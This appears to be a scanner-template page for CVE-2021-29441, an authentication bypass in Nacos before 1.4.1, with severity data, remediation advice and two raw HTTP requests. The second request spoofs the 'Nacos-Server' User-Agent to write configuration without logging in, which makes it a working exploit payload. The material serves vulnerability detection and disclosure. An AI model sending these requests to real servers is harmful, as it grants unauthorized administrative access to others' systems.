| Title | Nacos <1.4.1 - Authentication Bypass |
|---|---|
| Author | dwisiswant0 |
| Severity | Critical |
| Impact | Successful exploitation of this vulnerability can lead to unauthorized access to sensitive data and potential compromise of the Nacos server. |
| Remediation | Upgrade Nacos to version 1.4.1 or later to mitigate the authentication bypass vulnerability (CVE-2021-29441). |
| CVSS Score | 9.8 |
| EPSS Score | 0.9419 |
| CVE ID | CVE-2021-29441 |
| CWE ID | CWE-290 |
| Tags | cve2021 cve nacos auth-bypass alibaba vkev vuln |
This template only works on Nuclei engine prior to version 2.3.3 and version >= 2.3.5.
In Nacos before version 1.4.1, when configured to use authentication (-Dnacos.core.auth.enabled=true) Nacos uses the AuthFilter servlet filter to enforce authentication. This filter has a backdoor that enables Nacos servers to bypass this filter and therefore skip authentication checks. This mechanism relies on the user-agent HTTP header so it can be easily spoofed. This issue may allow any user to carry out any administrative tasks on the Nacos server.
POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
Host: www.victim.com
User-Agent: Mozilla/5.0 (Windows NT 10.0; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/50.0.2661.75 Safari/537.36
Connection: close
Transfer-Encoding: chunked
Accept: */*
Accept-Encoding: gzip
0
POST /nacos/v1/cs/configs?dataId=nacos.cfg.dataIdfoo&group=foo&content=helloWorld HTTP/1.1
Host: www.victim.com
User-Agent: Nacos-Server
Connection: close
Transfer-Encoding: chunked
Accept: */*
Accept-Encoding: gzip
0
🔗 Nuclei Template: https://github.com/packetinside/nuclei-templates/blob/main/http/cves/2021/CVE-2021-29441.yaml
🦈 Packet Capture: ⬇️ Download cve-2021-29441.pcap
N/AN/A